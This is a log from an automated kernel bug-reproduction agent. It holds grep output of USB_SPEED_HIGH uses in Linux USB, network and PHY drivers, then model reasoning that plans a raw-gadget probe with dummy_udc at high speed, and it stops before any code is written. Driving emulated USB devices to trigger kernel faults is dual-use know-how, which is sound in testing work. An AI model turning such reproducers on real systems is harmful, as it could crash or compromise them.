drivers/media/usb/em28xx/em28xx-audio.c:652:	if (udev->speed == USB_SPEED_HIGH)
drivers/media/usb/em28xx/em28xx-audio.c-653-		return (size & 0x7ff) *  (1 + (((size) >> 11) & 0x03));
--
drivers/media/usb/em28xx/em28xx-cards.c=3996=static void em28xx_check_usb_descriptor(struct em28xx *dev,
--
drivers/media/usb/em28xx/em28xx-cards.c-4040-
drivers/media/usb/em28xx/em28xx-cards.c:4041:	if (udev->speed == USB_SPEED_HIGH)
drivers/media/usb/em28xx/em28xx-cards.c-4042-		size = size * hb_mult(sizedescr);
--
drivers/media/usb/em28xx/em28xx-cards.c=4120=static int em28xx_usb_probe(struct usb_interface *intf,
--
drivers/media/usb/em28xx/em28xx-cards.c-4202-		break;
drivers/media/usb/em28xx/em28xx-cards.c:4203:	case USB_SPEED_HIGH:
drivers/media/usb/em28xx/em28xx-cards.c-4204-		speed = "480";
--
drivers/media/usb/em28xx/em28xx-cards.c-4224-	 */
drivers/media/usb/em28xx/em28xx-cards.c:4225:	if (udev->speed != USB_SPEED_HIGH && disable_usb_speed_check == 0) {
drivers/media/usb/em28xx/em28xx-cards.c-4226-		dev_err(&intf->dev, "Device initialization failed.\n");
--
drivers/media/usb/go7007/go7007-usb.c=1040=static int go7007_usb_probe(struct usb_interface *intf,
--
drivers/media/usb/go7007/go7007-usb.c-1265-	if ((board->flags & GO7007_USB_EZUSB) &&
drivers/media/usb/go7007/go7007-usb.c:1266:			usbdev->speed != USB_SPEED_HIGH)
drivers/media/usb/go7007/go7007-usb.c-1267-		dev_err(go->dev, "*** WARNING ***  This device must be connected to a USB 2.0 port! Attempting to capture video through a USB 1.1 port will result in strea...
--
drivers/media/usb/gspca/gspca.c=572=static int build_isoc_ep_tb(struct gspca_dev *gspca_dev,
--
drivers/media/usb/gspca/gspca.c-602-			bandwidth = psize * 1000;
drivers/media/usb/gspca/gspca.c:603:			if (gspca_dev->dev->speed == USB_SPEED_HIGH
drivers/media/usb/gspca/gspca.c-604-			 || gspca_dev->dev->speed >= USB_SPEED_SUPER)
--
drivers/media/usb/stk1160/stk1160-core.c=174=static int stk1160_scan_usb(struct usb_interface *intf, struct usb_device *udev,
--
drivers/media/usb/stk1160/stk1160-core.c-194-
drivers/media/usb/stk1160/stk1160-core.c:195:			if (udev->speed == USB_SPEED_HIGH)
drivers/media/usb/stk1160/stk1160-core.c-196-				size = size * hb_mult(sizedescr);
--
drivers/media/usb/stk1160/stk1160-core.c-224-		break;
drivers/media/usb/stk1160/stk1160-core.c:225:	case USB_SPEED_HIGH:
drivers/media/usb/stk1160/stk1160-core.c-226-		speed = "480";
--
drivers/media/usb/stk1160/stk1160-core.c-255-	 */
drivers/media/usb/stk1160/stk1160-core.c:256:	if (udev->speed != USB_SPEED_HIGH)
drivers/media/usb/stk1160/stk1160-core.c-257-		dev_warn(&udev->dev, "must be connected to a high-speed USB 2.0 port\n\
--
drivers/media/usb/uvc/uvc_status.c=255=int uvc_status_init(struct uvc_device *dev)
--
drivers/media/usb/uvc/uvc_status.c-283-	interval = ep->desc.bInterval;
drivers/media/usb/uvc/uvc_status.c:284:	if (interval > 16 && dev->udev->speed == USB_SPEED_HIGH &&
drivers/media/usb/uvc/uvc_status.c-285-	    (dev->quirks & UVC_QUIRK_STATUS_INTERVAL))
--
drivers/media/usb/uvc/uvc_video.c=163=static void uvc_fixup_video_ctrl(struct uvc_streaming *stream,
--
drivers/media/usb/uvc/uvc_video.c-248-		bandwidth /= 1000;
drivers/media/usb/uvc/uvc_video.c:249:		if (stream->dev->udev->speed >= USB_SPEED_HIGH)
drivers/media/usb/uvc/uvc_video.c-250-			bandwidth /= 8;
--
drivers/net/can/usb/peak_usb/pcan_usb_fd.c=193=static int pcan_usb_fd_send_cmd(struct peak_usb_device *dev, void *cmd_tail)
--
drivers/net/can/usb/peak_usb/pcan_usb_fd.c-220-	/* firmware is not able to re-assemble 512 bytes buffer in full-speed */
drivers/net/can/usb/peak_usb/pcan_usb_fd.c:221:	if (unlikely(dev->udev->speed != USB_SPEED_HIGH))
drivers/net/can/usb/peak_usb/pcan_usb_fd.c-222-		packet_len = min(packet_len, PCAN_UFD_LOSPD_PKT_SIZE);
--
drivers/net/usb/aqc111.c=801=static void aqc111_configure_rx(struct usbnet *dev,
--
drivers/net/usb/aqc111.c-845-		break;
drivers/net/usb/aqc111.c:846:	case USB_SPEED_HIGH:
drivers/net/usb/aqc111.c-847-		usb_host = 2;
--
drivers/net/usb/lan78xx.c=2432=static int lan78xx_configure_flowcontrol(struct lan78xx_net *dev,
--
drivers/net/usb/lan78xx.c-2458-		break;
drivers/net/usb/lan78xx.c:2459:	case USB_SPEED_HIGH:
drivers/net/usb/lan78xx.c-2460-		fct_flow = FLOW_CTRL_THRESHOLD(FLOW_ON_HS, FLOW_OFF_HS);
--
drivers/net/usb/lan78xx.c=3220=static int lan78xx_urb_config_init(struct lan78xx_net *dev)
--
drivers/net/usb/lan78xx.c-3232-		break;
drivers/net/usb/lan78xx.c:3233:	case USB_SPEED_HIGH:
drivers/net/usb/lan78xx.c-3234-		dev->rx_urb_size = RX_HS_URB_SIZE;
--
drivers/net/usb/pegasus.c=749=static inline int get_interrupt_interval(pegasus_t *pegasus)
--
drivers/net/usb/pegasus.c-759-	interval = data >> 8;
drivers/net/usb/pegasus.c:760:	if (pegasus->usb->speed != USB_SPEED_HIGH) {
drivers/net/usb/pegasus.c-761-		if (interval < 0x80) {
--
drivers/net/usb/r8152.c=6408=static int rtl8156_enable(struct r8152 *tp)
--
drivers/net/usb/r8152.c-6446-
drivers/net/usb/r8152.c:6447:	if (tp->udev->speed == USB_SPEED_HIGH) {
drivers/net/usb/r8152.c-6448-		/* USB 0xb45e[3:0] l1_nyet_hird */
--
drivers/net/usb/r8152.c=7246=static void r8153_init(struct r8152 *tp)
--
drivers/net/usb/r8152.c-7353-		break;
drivers/net/usb/r8152.c:7354:	case USB_SPEED_HIGH:
drivers/net/usb/r8152.c-7355-		tp->coalesce = COALESCE_HIGH;
--
drivers/net/usb/sierra_net.c=650=static int sierra_net_bind(struct usbnet *dev, struct usb_interface *intf)
--
drivers/net/usb/sierra_net.c-708-	dev->rx_urb_size  = SIERRA_NET_RX_URB_SIZE;
drivers/net/usb/sierra_net.c:709:	if (dev->udev->speed != USB_SPEED_HIGH)
drivers/net/usb/sierra_net.c-710-		dev->rx_urb_size  = min_t(size_t, 4096, SIERRA_NET_RX_URB_SIZE);
--
drivers/net/usb/smsc75xx.c=1038=static int smsc75xx_reset(struct usbnet *dev)
--
drivers/net/usb/smsc75xx.c-1153-		dev->rx_urb_size = MAX_SINGLE_PACKET_SIZE;
drivers/net/usb/smsc75xx.c:1154:	} else if (dev->udev->speed == USB_SPEED_HIGH) {
drivers/net/usb/smsc75xx.c-1155-		buf = DEFAULT_HS_BURST_CAP_SIZE / HS_USB_PKT_SIZE;
--
drivers/net/usb/smsc95xx.c=931=static int smsc95xx_reset(struct usbnet *dev)
--
drivers/net/usb/smsc95xx.c-987-		dev->rx_urb_size = MAX_SINGLE_PACKET_SIZE;
drivers/net/usb/smsc95xx.c:988:	} else if (dev->udev->speed == USB_SPEED_HIGH) {
drivers/net/usb/smsc95xx.c-989-		burst_cap = DEFAULT_HS_BURST_CAP_SIZE / HS_USB_PKT_SIZE;
--
drivers/net/usb/sr9800.c=706=static int sr9800_bind(struct usbnet *dev, struct usb_interface *intf)
--
drivers/net/usb/sr9800.c-786-
drivers/net/usb/sr9800.c:787:	if (dev->udev->speed == USB_SPEED_HIGH) {
drivers/net/usb/sr9800.c-788-		ret = sr_write_cmd(dev, SR_CMD_BULKIN_SIZE,
--
drivers/net/usb/usbnet.c=223=static int init_status(struct usbnet *dev, struct usb_interface *intf)
--
drivers/net/usb/usbnet.c-237-	period = max ((int) dev->status->desc.bInterval,
drivers/net/usb/usbnet.c:238:		(dev->udev->speed == USB_SPEED_HIGH) ? 7 : 3);
drivers/net/usb/usbnet.c-239-
--
drivers/net/usb/usbnet.c=361=void usbnet_update_max_qlen(struct usbnet *dev)
--
drivers/net/usb/usbnet.c-367-	switch (speed) {
drivers/net/usb/usbnet.c:368:	case USB_SPEED_HIGH:
drivers/net/usb/usbnet.c-369-		dev->rx_qlen = MAX_QUEUE_MEMORY / dev->rx_urb_size;
--
drivers/net/wireless/ath/ath6kl/usb.c=1118=static int ath6kl_usb_probe(struct usb_interface *interface,
--
drivers/net/wireless/ath/ath6kl/usb.c-1137-
drivers/net/wireless/ath/ath6kl/usb.c:1138:	if (dev->speed == USB_SPEED_HIGH)
drivers/net/wireless/ath/ath6kl/usb.c-1139-		ath6kl_dbg(ATH6KL_DBG_USB, "USB 2.0 Host\n");
--
drivers/net/wireless/broadcom/brcm80211/brcmfmac/usb.c=1345=brcmf_usb_probe(struct usb_interface *intf, const struct usb_device_id *id)
--
drivers/net/wireless/broadcom/brcm80211/brcmfmac/usb.c-1440-		brcmf_dbg(USB, "Broadcom super speed USB WLAN interface detected\n");
drivers/net/wireless/broadcom/brcm80211/brcmfmac/usb.c:1441:	else if (usb->speed == USB_SPEED_HIGH)
drivers/net/wireless/broadcom/brcm80211/brcmfmac/usb.c-1442-		brcmf_dbg(USB, "Broadcom high speed USB WLAN interface detected\n");
--
drivers/net/wireless/purelifi/plfxlc/usb.c=372=static inline void init_usb_rx(struct plfxlc_usb *usb)
--
drivers/net/wireless/purelifi/plfxlc/usb.c-378-
drivers/net/wireless/purelifi/plfxlc/usb.c:379:	if (interface_to_usbdev(usb->intf)->speed == USB_SPEED_HIGH)
drivers/net/wireless/purelifi/plfxlc/usb.c-380-		rx->usb_packet_size = 512;
--
drivers/net/wireless/purelifi/plfxlc/usb.c=418=const char *plfxlc_speed(enum usb_device_speed speed)
--
drivers/net/wireless/purelifi/plfxlc/usb.c-424-		return "full";
drivers/net/wireless/purelifi/plfxlc/usb.c:425:	case USB_SPEED_HIGH:
drivers/net/wireless/purelifi/plfxlc/usb.c-426-		return "high";
--
drivers/net/wireless/realtek/rtlwifi/rtl8192du/phy.c=655=static void _rtl92du_phy_reload_imr_setting(struct ieee80211_hw *hw,
--
drivers/net/wireless/realtek/rtlwifi/rtl8192du/phy.c-661-
drivers/net/wireless/realtek/rtlwifi/rtl8192du/phy.c:662:	if (rtlusb->udev->speed != USB_SPEED_HIGH)
drivers/net/wireless/realtek/rtlwifi/rtl8192du/phy.c-663-		return;
--
drivers/net/wireless/realtek/rtlwifi/rtl8192du/phy.c=723=static void _rtl92du_phy_switch_rf_setting(struct ieee80211_hw *hw, u8 channel)
--
drivers/net/wireless/realtek/rtlwifi/rtl8192du/phy.c-735-
drivers/net/wireless/realtek/rtlwifi/rtl8192du/phy.c:736:	if (rtlusb->udev->speed != USB_SPEED_HIGH)
drivers/net/wireless/realtek/rtlwifi/rtl8192du/phy.c-737-		return;
--
drivers/net/wireless/realtek/rtlwifi/usb.c=162=static struct sk_buff *_none_usb_tx_aggregate_hdl(struct ieee80211_hw *hw,
--
drivers/net/wireless/realtek/rtlwifi/usb.c-168-#define IS_HIGH_SPEED_USB(udev) \
drivers/net/wireless/realtek/rtlwifi/usb.c:169:		((USB_SPEED_HIGH == (udev)->speed) ? true : false)
drivers/net/wireless/realtek/rtlwifi/usb.c-170-
--
drivers/net/wireless/realtek/rtw88/usb.c=858=static void rtw_usb_init_burst_pkt_len(struct rtw_dev *rtwdev)
--
drivers/net/wireless/realtek/rtw88/usb.c-867-		burst_size = BIT_DMA_BURST_SIZE_1024;
drivers/net/wireless/realtek/rtw88/usb.c:868:	else if (speed == USB_SPEED_HIGH)
drivers/net/wireless/realtek/rtw88/usb.c-869-		burst_size = BIT_DMA_BURST_SIZE_512;
--
drivers/net/wireless/realtek/rtw88/usb.c=1086=static int rtw_usb_switch_mode_old(struct rtw_dev *rtwdev)
--
drivers/net/wireless/realtek/rtw88/usb.c-1091-
drivers/net/wireless/realtek/rtw88/usb.c:1092:	if (cur_speed == USB_SPEED_HIGH) {
drivers/net/wireless/realtek/rtw88/usb.c-1093-		hci_opt = rtw_read8(rtwdev, REG_HCI_OPT_CTRL);
--
drivers/net/wireless/realtek/rtw88/usb.c=1112=static int rtw_usb_switch_mode_new(struct rtw_dev *rtwdev)
--
drivers/net/wireless/realtek/rtw88/usb.c-1121-	else
drivers/net/wireless/realtek/rtw88/usb.c:1122:		cur_speed = USB_SPEED_HIGH;
drivers/net/wireless/realtek/rtw88/usb.c-1123-
--
drivers/net/wireless/realtek/rtw88/usb.c-1137-
drivers/net/wireless/realtek/rtw88/usb.c:1138:	/* At this point cur_speed is USB_SPEED_HIGH. If we already tried
drivers/net/wireless/realtek/rtw88/usb.c-1139-	 * to switch don't try again - it's a USB 2 port.
--
drivers/net/wireless/realtek/rtw88/usb.c=1202=static void rtw_usb_phy_write(struct rtw_dev *rtwdev, u8 addr, u16 data,
--
drivers/net/wireless/realtek/rtw88/usb.c-1208-		rtw_write8(rtwdev, REG_USB3_PHY_ADR, addr | BIT_USB3_PHY_ADR_WR);
drivers/net/wireless/realtek/rtw88/usb.c:1209:	} else if (speed == USB_SPEED_HIGH) {
drivers/net/wireless/realtek/rtw88/usb.c-1210-		rtw_write8(rtwdev, REG_USB2_PHY_DAT, data);
--
drivers/net/wireless/realtek/rtw88/usb.c=1225=static void rtw_usb_phy_cfg(struct rtw_dev *rtwdev,
--
drivers/net/wireless/realtek/rtw88/usb.c-1235-		para = rtwdev->chip->intf_table->usb3_para;
drivers/net/wireless/realtek/rtw88/usb.c:1236:	else if (speed == USB_SPEED_HIGH)
drivers/net/wireless/realtek/rtw88/usb.c-1237-		para = rtwdev->chip->intf_table->usb2_para;
--
drivers/net/wireless/realtek/rtw88/usb.c=1263=int rtw_usb_probe(struct usb_interface *intf, const struct usb_device_id *id)
--
drivers/net/wireless/realtek/rtw88/usb.c-1317-
drivers/net/wireless/realtek/rtw88/usb.c:1318:	rtw_usb_phy_cfg(rtwdev, USB_SPEED_HIGH);
drivers/net/wireless/realtek/rtw88/usb.c-1319-	rtw_usb_phy_cfg(rtwdev, USB_SPEED_SUPER);
--
drivers/net/wireless/realtek/rtw89/usb.c=851=static int rtw89_usb_ops_mac_post_init(struct rtw89_dev *rtwdev)
--
drivers/net/wireless/realtek/rtw89/usb.c-867-		rtw89_write8(rtwdev, R_AX_RXDMA_SETTING, USB3_BULKSIZE);
drivers/net/wireless/realtek/rtw89/usb.c:868:	else if (speed == USB_SPEED_HIGH)
drivers/net/wireless/realtek/rtw89/usb.c-869-		rtw89_write8(rtwdev, R_AX_RXDMA_SETTING, USB2_BULKSIZE);
--
drivers/net/wireless/zydas/zd1211rw/zd_usb.c=489=static inline int int_urb_interval(struct usb_device *udev)
--
drivers/net/wireless/zydas/zd1211rw/zd_usb.c-491-	switch (udev->speed) {
drivers/net/wireless/zydas/zd1211rw/zd_usb.c:492:	case USB_SPEED_HIGH:
drivers/net/wireless/zydas/zd1211rw/zd_usb.c-493-		return 4;
--
drivers/net/wireless/zydas/zd1211rw/zd_usb.c=1168=static inline void init_usb_rx(struct zd_usb *usb)
--
drivers/net/wireless/zydas/zd1211rw/zd_usb.c-1173-	mutex_init(&rx->setup_mutex);
drivers/net/wireless/zydas/zd1211rw/zd_usb.c:1174:	if (interface_to_usbdev(usb->intf)->speed == USB_SPEED_HIGH) {
drivers/net/wireless/zydas/zd1211rw/zd_usb.c-1175-		rx->usb_packet_size = 512;
--
drivers/net/wireless/zydas/zd1211rw/zd_usb.c=1220=static const char *speed(enum usb_device_speed speed)
--
drivers/net/wireless/zydas/zd1211rw/zd_usb.c-1226-		return "full";
drivers/net/wireless/zydas/zd1211rw/zd_usb.c:1227:	case USB_SPEED_HIGH:
drivers/net/wireless/zydas/zd1211rw/zd_usb.c-1228-		return "high";
--
drivers/net/wireless/zydas/zd1211rw/zd_usb.c=1349=static int probe(struct usb_interface *intf, const struct usb_device_id *id)
--
drivers/net/wireless/zydas/zd1211rw/zd_usb.c-1371-	case USB_SPEED_FULL:
drivers/net/wireless/zydas/zd1211rw/zd_usb.c:1372:	case USB_SPEED_HIGH:
drivers/net/wireless/zydas/zd1211rw/zd_usb.c-1373-		break;
--
drivers/phy/rockchip/phy-rockchip-usbdp.c=945=static int rk_udphy_parse_dt(struct rk_udphy *udphy)
--
drivers/phy/rockchip/phy-rockchip-usbdp.c-981-		maximum_speed = usb_get_maximum_speed(dev);
drivers/phy/rockchip/phy-rockchip-usbdp.c:982:		udphy->hs = maximum_speed <= USB_SPEED_HIGH;
drivers/phy/rockchip/phy-rockchip-usbdp.c-983-	}
--
drivers/phy/tegra/xusb-tegra186.c=331=static int tegra186_utmi_enable_phy_sleepwalk(struct tegra_xusb_lane *lane,
--
drivers/phy/tegra/xusb-tegra186.c-383-	switch (speed) {
drivers/phy/tegra/xusb-tegra186.c:384:	case USB_SPEED_HIGH:
drivers/phy/tegra/xusb-tegra186.c-385-		value |= UTMI_HS;
--
drivers/phy/tegra/xusb-tegra186.c-424-	switch (speed) {
drivers/phy/tegra/xusb-tegra186.c:425:	case USB_SPEED_HIGH:
drivers/phy/tegra/xusb-tegra186.c-426-	case USB_SPEED_FULL:
--
drivers/phy/tegra/xusb-tegra210.c=1335=static int tegra210_pmc_utmi_enable_phy_sleepwalk(struct tegra_xusb_lane *lane,
--
drivers/phy/tegra/xusb-tegra210.c-1345-
drivers/phy/tegra/xusb-tegra210.c:1346:	if (speed > USB_SPEED_HIGH)
drivers/phy/tegra/xusb-tegra210.c-1347-		return -EINVAL;
--
drivers/phy/tegra/xusb-tegra210.c-1398-	switch (speed) {
drivers/phy/tegra/xusb-tegra210.c:1399:	case USB_SPEED_HIGH:
drivers/phy/tegra/xusb-tegra210.c-1400-		value |= UTMI_HS(port);
--
drivers/phy/tegra/xusb-tegra210.c-1451-	switch (speed) {
drivers/phy/tegra/xusb-tegra210.c:1452:	case USB_SPEED_HIGH:
drivers/phy/tegra/xusb-tegra210.c-1453-	case USB_SPEED_FULL:
--
drivers/usb/cdns3/cdns3-ep0.c=274=static int cdns3_ep0_feature_handle_device(struct cdns3_device *priv_dev,
--
drivers/usb/cdns3/cdns3-ep0.c-307-	case USB_DEVICE_TEST_MODE:
drivers/usb/cdns3/cdns3-ep0.c:308:		if (state != USB_STATE_CONFIGURED || speed > USB_SPEED_HIGH)
drivers/usb/cdns3/cdns3-ep0.c-309-			return -EINVAL;
--
drivers/usb/cdns3/cdns3-gadget.c=359=enum usb_device_speed cdns3_get_speed(struct cdns3_device *priv_dev)
--
drivers/usb/cdns3/cdns3-gadget.c-367-	else if (DEV_HIGHSPEED(reg))
drivers/usb/cdns3/cdns3-gadget.c:368:		return USB_SPEED_HIGH;
drivers/usb/cdns3/cdns3-gadget.c-369-	else if (DEV_FULLSPEED(reg))
--
drivers/usb/cdns3/cdns3-gadget.c=2099=int cdns3_ep_config(struct cdns3_endpoint *priv_ep, bool enable)
--
drivers/usb/cdns3/cdns3-gadget.c-2135-		break;
drivers/usb/cdns3/cdns3-gadget.c:2136:	case USB_SPEED_HIGH:
drivers/usb/cdns3/cdns3-gadget.c-2137-		max_packet_size = is_iso_ep ? 1024 : 512;
--
drivers/usb/cdns3/cdns3-gadget.c=3002=static int cdns3_gadget_udc_start(struct usb_gadget *gadget,
--
drivers/usb/cdns3/cdns3-gadget.c-3019-		break;
drivers/usb/cdns3/cdns3-gadget.c:3020:	case USB_SPEED_HIGH:
drivers/usb/cdns3/cdns3-gadget.c-3021-		writel(USB_CONF_USB3DIS, &priv_dev->regs->usb_conf);
--
drivers/usb/cdns3/cdns3-gadget.c=3297=static int cdns3_gadget_start(struct cdns *cdns)
--
drivers/usb/cdns3/cdns3-gadget.c-3330-	case USB_SPEED_FULL:
drivers/usb/cdns3/cdns3-gadget.c:3331:	case USB_SPEED_HIGH:
drivers/usb/cdns3/cdns3-gadget.c-3332-	case USB_SPEED_SUPER:
--
drivers/usb/cdns3/cdnsp-ep0.c=202=static int cdnsp_ep0_handle_feature_device(struct cdnsp_device *pdev,
--
drivers/usb/cdns3/cdnsp-ep0.c-234-	case USB_DEVICE_TEST_MODE:
drivers/usb/cdns3/cdnsp-ep0.c:235:		if (state != USB_STATE_CONFIGURED || speed > USB_SPEED_HIGH)
drivers/usb/cdns3/cdnsp-ep0.c-236-			return -EINVAL;
--
drivers/usb/cdns3/cdnsp-gadget.c=29=unsigned int cdnsp_port_speed(unsigned int port_status)
--
drivers/usb/cdns3/cdnsp-gadget.c-37-	else if (DEV_HIGHSPEED(port_status))
drivers/usb/cdns3/cdnsp-gadget.c:38:		return USB_SPEED_HIGH;
drivers/usb/cdns3/cdnsp-gadget.c-39-	else if (DEV_FULLSPEED(port_status))
--
drivers/usb/cdns3/cdnsp-gadget.c=1285=static int cdnsp_run(struct cdnsp_device *pdev,
--
drivers/usb/cdns3/cdnsp-gadget.c-1305-		break;
drivers/usb/cdns3/cdnsp-gadget.c:1306:	case USB_SPEED_HIGH:
drivers/usb/cdns3/cdnsp-gadget.c-1307-		break;
--
drivers/usb/cdns3/cdnsp-gadget.c=1788=void cdnsp_irq_reset(struct cdnsp_device *pdev)
--
drivers/usb/cdns3/cdnsp-gadget.c-1806-		break;
drivers/usb/cdns3/cdnsp-gadget.c:1807:	case USB_SPEED_HIGH:
drivers/usb/cdns3/cdnsp-gadget.c-1808-	case USB_SPEED_FULL:
--
drivers/usb/cdns3/cdnsp-gadget.c=1917=static int __cdnsp_gadget_init(struct cdns *cdns)
--
drivers/usb/cdns3/cdnsp-gadget.c-1937-	case USB_SPEED_FULL:
drivers/usb/cdns3/cdnsp-gadget.c:1938:	case USB_SPEED_HIGH:
drivers/usb/cdns3/cdnsp-gadget.c-1939-	case USB_SPEED_SUPER:
--
drivers/usb/cdns3/cdnsp-mem.c=727=int cdnsp_setup_addressable_priv_dev(struct cdnsp_device *pdev)
--
drivers/usb/cdns3/cdnsp-mem.c-747-		break;
drivers/usb/cdns3/cdnsp-mem.c:748:	case USB_SPEED_HIGH:
drivers/usb/cdns3/cdnsp-mem.c-749-		slot_ctx->dev_info |= cpu_to_le32(SLOT_SPEED_HS);
--
drivers/usb/cdns3/cdnsp-mem.c=830=static unsigned int cdnsp_get_endpoint_interval(struct usb_gadget *g,
--
drivers/usb/cdns3/cdnsp-mem.c-835-	switch (g->speed) {
drivers/usb/cdns3/cdnsp-mem.c:836:	case USB_SPEED_HIGH:
drivers/usb/cdns3/cdnsp-mem.c-837-	case USB_SPEED_SUPER_PLUS:
--
drivers/usb/cdns3/cdnsp-mem.c=876=static u32 cdnsp_get_endpoint_max_burst(struct usb_gadget *g,
--
drivers/usb/cdns3/cdnsp-mem.c-882-
drivers/usb/cdns3/cdnsp-mem.c:883:	if (g->speed == USB_SPEED_HIGH &&
drivers/usb/cdns3/cdnsp-mem.c-884-	    (usb_endpoint_xfer_isoc(pep->endpoint.desc) ||
--
drivers/usb/cdns3/cdnsp-mem.c=942=int cdnsp_endpoint_init(struct cdnsp_device *pdev,
--
drivers/usb/cdns3/cdnsp-mem.c-982-	if (usb_endpoint_xfer_bulk(pep->endpoint.desc) &&
drivers/usb/cdns3/cdnsp-mem.c:983:	    pdev->gadget.speed == USB_SPEED_HIGH)
drivers/usb/cdns3/cdnsp-mem.c-984-		max_packet = 512;
--
drivers/usb/cdns3/cdnsp-mem.c-1008-	if (usb_endpoint_xfer_bulk(pep->endpoint.desc) &&
drivers/usb/cdns3/cdnsp-mem.c:1009:	    pdev->gadget.speed > USB_SPEED_HIGH) {
drivers/usb/cdns3/cdnsp-mem.c-1010-		ret = cdnsp_alloc_streams(pdev, pep);
--
drivers/usb/chipidea/ci_hdrc_imx.c=313=static int ci_hdrc_imx_notify_event(struct ci_hdrc *ci, unsigned int event)
--
drivers/usb/chipidea/ci_hdrc_imx.c-346-		if (ci->role == CI_ROLE_GADGET &&
drivers/usb/chipidea/ci_hdrc_imx.c:347:		    ci->gadget.speed == USB_SPEED_HIGH)
drivers/usb/chipidea/ci_hdrc_imx.c-348-			imx_usbmisc_pullup(data->usbmisc_data,
--
drivers/usb/chipidea/udc.c=2218=static irqreturn_t udc_irq(struct ci_hdrc *ci)
--
drivers/usb/chipidea/udc.c-2243-			ci->gadget.speed = hw_port_is_high_speed(ci) ?
drivers/usb/chipidea/udc.c:2244:				USB_SPEED_HIGH : USB_SPEED_FULL;
drivers/usb/chipidea/udc.c-2245-			if (ci->usb_phy)
--
drivers/usb/chipidea/udc.c=2288=static int udc_start(struct ci_hdrc *ci)
--
drivers/usb/chipidea/udc.c-2297-	ci->gadget.speed        = USB_SPEED_UNKNOWN;
drivers/usb/chipidea/udc.c:2298:	ci->gadget.max_speed    = USB_SPEED_HIGH;
drivers/usb/chipidea/udc.c-2299-	ci->gadget.name         = ci->platdata->name;
--
drivers/usb/common/common.c=75=static const char *const speed_names[] = {
--
drivers/usb/common/common.c-78-	[USB_SPEED_FULL] = "full-speed",
drivers/usb/common/common.c:79:	[USB_SPEED_HIGH] = "high-speed",
drivers/usb/common/common.c-80-	[USB_SPEED_WIRELESS] = "wireless",
--
drivers/usb/common/common.c=245=unsigned int usb_decode_interval(const struct usb_endpoint_descriptor *epd,
--
drivers/usb/common/common.c-252-		/* uframes per NAK */
drivers/usb/common/common.c:253:		if (speed == USB_SPEED_HIGH)
drivers/usb/common/common.c-254-			interval = epd->bInterval;
--
drivers/usb/common/common.c-260-		/* uframes per NAK */
drivers/usb/common/common.c:261:		if (speed == USB_SPEED_HIGH && usb_endpoint_dir_out(epd))
drivers/usb/common/common.c-262-			interval = epd->bInterval;
--
drivers/usb/common/common.c-264-	case USB_ENDPOINT_XFER_INT:
drivers/usb/common/common.c:265:		if (speed >= USB_SPEED_HIGH)
drivers/usb/common/common.c-266-			interval = 1 << (epd->bInterval - 1);
--
drivers/usb/common/common.c-271-
drivers/usb/common/common.c:272:	interval *= (speed >= USB_SPEED_HIGH) ? 125 : 1000;
drivers/usb/common/common.c-273-
--
drivers/usb/core/config.c=278=static int usb_parse_endpoint(struct device *ddev, int cfgno,
--
drivers/usb/core/config.c-365-		case USB_SPEED_SUPER:
drivers/usb/core/config.c:366:		case USB_SPEED_HIGH:
drivers/usb/core/config.c-367-			/*
--
drivers/usb/core/config.c-409-		switch (udev->speed) {
drivers/usb/core/config.c:410:		case USB_SPEED_HIGH:
drivers/usb/core/config.c-411-			n = 7;		/* 8 ms = 2^(7-1) uframes */
--
drivers/usb/core/config.c-463-		break;
drivers/usb/core/config.c:464:	case USB_SPEED_HIGH:
drivers/usb/core/config.c-465-		/* Multiple-transactions bits are allowed only for HS periodic endpoints */
--
drivers/usb/core/config.c-492-	 */
drivers/usb/core/config.c:493:	if (udev->speed == USB_SPEED_HIGH && usb_endpoint_xfer_bulk(d)) {
drivers/usb/core/config.c-494-		if (maxp != 512)
--
drivers/usb/core/config.c-501-	/* Parse a possible eUSB2 periodic endpoint companion descriptor */
drivers/usb/core/config.c:502:	if (udev->speed == USB_SPEED_HIGH && bcdUSB == 0x0220 &&
drivers/usb/core/config.c-503-	    !le16_to_cpu(d->wMaxPacketSize) && usb_endpoint_is_isoc_in(d))
--
drivers/usb/core/devices.c=143=static char *usb_dump_endpoint_descriptor(int speed, char *start, char *end,
--
drivers/usb/core/devices.c-153-
drivers/usb/core/devices.c:154:	if (speed == USB_SPEED_HIGH)
drivers/usb/core/devices.c-155-		bandwidth = usb_endpoint_maxp_mult(desc);
--
drivers/usb/core/devices.c=391=static ssize_t usb_device_dump(char __user **buffer, size_t *nbytes,
--
drivers/usb/core/devices.c-427-		speed = "12"; break;
drivers/usb/core/devices.c:428:	case USB_SPEED_HIGH:

]

74/4 2026/09/04 10:23 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 30647
							output: 38
							thoughts: 63
						

Thoughts:
**Confirming USB Speed Enumeration Value**

My initial thought was that `USB_SPEED_HIGH` corresponds to the numerical value 3. To verify this crucial detail, I immediately needed to consult the definitive source: the `include/uapi/linux/usb/ch9.h` header file. My next step is to navigate to and examine that specific file to definitively confirm or refute my initial assumption.


75/4 2026/09/04 10:23 tool grepper
0m Args:
map[Expression:USB_SPEED_HIGH PathPrefix:include/uapi/linux/usb/ch9.h]

Results:
map[Output:include/uapi/linux/usb/ch9.h=1216=enum usb_device_speed {
--
include/uapi/linux/usb/ch9.h-1218-	USB_SPEED_LOW, USB_SPEED_FULL,		/* usb 1.1 */
include/uapi/linux/usb/ch9.h:1219:	USB_SPEED_HIGH,				/* usb 2.0 */
include/uapi/linux/usb/ch9.h-1220-	USB_SPEED_WIRELESS,			/* wireless (usb 2.5) */
]

76/4 2026/09/04 10:23 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 30888
							output: 797
							thoughts: 2833
						

Thoughts:
**My Thought Process for Crafting the USB Gadget Probe**

Here I am, trying to get a handle on this USB gadget functionality. My first thought is to understand the available speeds. I know `USB_SPEED_UNKNOWN` is 0, `USB_SPEED_LOW` is 1, `USB_SPEED_FULL` is 2, and crucially, `USB_SPEED_HIGH` is 3. So, when I eventually set `init_arg.speed`, it'll be `3`.

Now, I need to write the actual probe program. I'm starting with the basics: opening `/dev/raw-gadget`. If that fails, I'll report the error and exit. If it succeeds, great, I've got a handle.

My initial plan for initialization involves using `dummy_udc` and `dummy_udc.0`. This seems standard, especially in the context of syzkaller. So, I'll fill in the `struct usb_raw_init` with `driver_name` as "dummy_udc", `device_name` as "dummy_udc.0", and set the `speed` to 3 (high speed). Then, I'll issue the `USB_RAW_IOCTL_INIT` ioctl. If that fails, I'll report it and clean up. Otherwise, success!

